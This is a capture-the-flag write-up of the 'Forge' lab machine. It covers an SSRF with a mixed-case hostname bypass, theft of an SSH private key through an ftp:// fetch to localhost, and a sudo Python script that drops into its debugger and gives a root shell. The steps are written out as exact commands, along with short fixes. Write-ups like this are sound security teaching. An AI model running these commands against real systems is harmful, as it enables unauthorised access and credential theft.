Forge
Summary
The web application on forge.htb provided an image-upload-by-URL feature that fetched any my own address with no network or scheme controls, creating a Server-Side Request Forgery (SSRF) channel. An internal administrative virtual host — admin.forge.htb, blocked at the network perimeter — was reached by capitalising a single character in the hostname to slip past a case-sensitive string blacklist.
The admin panel's announcements page disclosed FTP credentials in cleartext. The same SSRF channel, this time invoked with an ftp:// URL, was then aimed at the internally-firewalled FTP service on localhost, streaming the system user's SSH private key to me.
With that key in hand, I opened an SSH session as the system user and found that a Python management script could be executed as root via sudo. Supplying the script with an unreachable hostname triggered an unhandled exception that dropped the process into Python's interactive debugger (Pdb) — with root privileges still attached — and a single debugger command spawned a root shell, completing full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<the-password-you-recovered>"Some commands also carry a value in angle brackets — <hash> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 4
Full-port service scan to build the open port inventory.
$ nmap -sV -sC -p- --min-rate 5000 $TARGETRegister the primary virtual host for name resolution.
$ echo "$TARGET forge.htb" | sudo tee -a /etc/hostsEnumerate virtual hosts and filter redirect responses to surface valid internal vhosts.
$ gobuster vhost -u http://forge.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain 2>/dev/null | grep -v '302'Confirm admin.forge.htb is externally inaccessible (expect a 302 redirect away).
$ echo "$TARGET admin.forge.htb" | sudo tee -a /etc/hosts && curl -si http://admin.forge.htb/Exact commands 2
Listener to catch the outbound server request; run in a background terminal.
$ python3 -m http.server 8000Trigger the upload-by-URL feature; an inbound hit on the listener confirms SSRF. Replace $ATTACKER_IP with your VPN address.
$ curl -s -X POST http://forge.htb/upload -d "url=http://$ATTACKER_IP:8000/probe"FixEliminate the SSRF by replacing URL-fetch with an allowlist or removing the featureCritical
Exact commands 4
Confirm the exact blocked hostname is rejected (expected error/block response).
$ curl -s -X POST http://forge.htb/upload -d 'url=http://admin.forge.htb/'Submit the mixed-case bypass; the server returns a /uploads/<hash> URL to the fetched content.
$ curl -s -X POST http://forge.htb/upload --data-urlencode 'url=http://Admin.Forge.htb/'Fetch the announcements sub-page that holds the FTP credentials.
$ curl -s -X POST http://forge.htb/upload --data-urlencode 'url=http://Admin.Forge.htb/announcements'Retrieve and read the cached admin page body. Replace <hash> with the value returned above.
$ curl -s http://forge.htb/uploads/<hash>FixNormalise hostnames to lowercase before any blocklist comparisonHigh
Exact commands 4
List the FTP home directory to confirm authenticated access and identify files of interest.
$ curl -s -X POST http://forge.htb/upload --data-urlencode "url=ftp://$USERNAME:$PASSWORD@127.0.0.1/"Read the FTP directory listing returned by the previous command.
$ curl -s http://forge.htb/uploads/<hash>Exfiltrate the user's SSH private key; note the new uploads hash in the response.
$ curl -s -X POST http://forge.htb/upload --data-urlencode "url=ftp://$USERNAME:$PASSWORD@127.0.0.1/home/user/.ssh/id_rsa"Save the private key to a local file ready for immediate SSH use.
$ curl -s http://forge.htb/uploads/<hash> > id_rsaFixRestrict the URL-upload feature to the HTTPS scheme onlyHigh
Exact commands 3
Restrict key file permissions — SSH rejects keys that are group- or world-readable.
$ chmod 600 id_rsaAuthenticate using the exfiltrated private key; no password required.
$ ssh -i id_rsa user@$TARGETCapture the user-level flag: <user.txt>.
$ cat /home/user/user.txtExact commands 4
List sudo permissions; expect a NOPASSWD entry for /opt/remote-manage.py.
$ sudo -lLaunch the privileged script. When prompted for a hostname, enter an unreachable or malformed value (e.g. 'x') to provoke the unhandled exception and drop into Pdb.
$ sudo /usr/bin/python3 /opt/remote-manage.pyType this at the (Pdb) > prompt to break out of the debugger into a root shell.
$ import os; os.system('/bin/bash')Confirm uid=0 and capture the root flag: <root.txt>.
$ id && cat /root/root.txtFixRemove the interactive Python debugger from the root-privileged sudo scriptCritical
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.41 ((Ubuntu)) |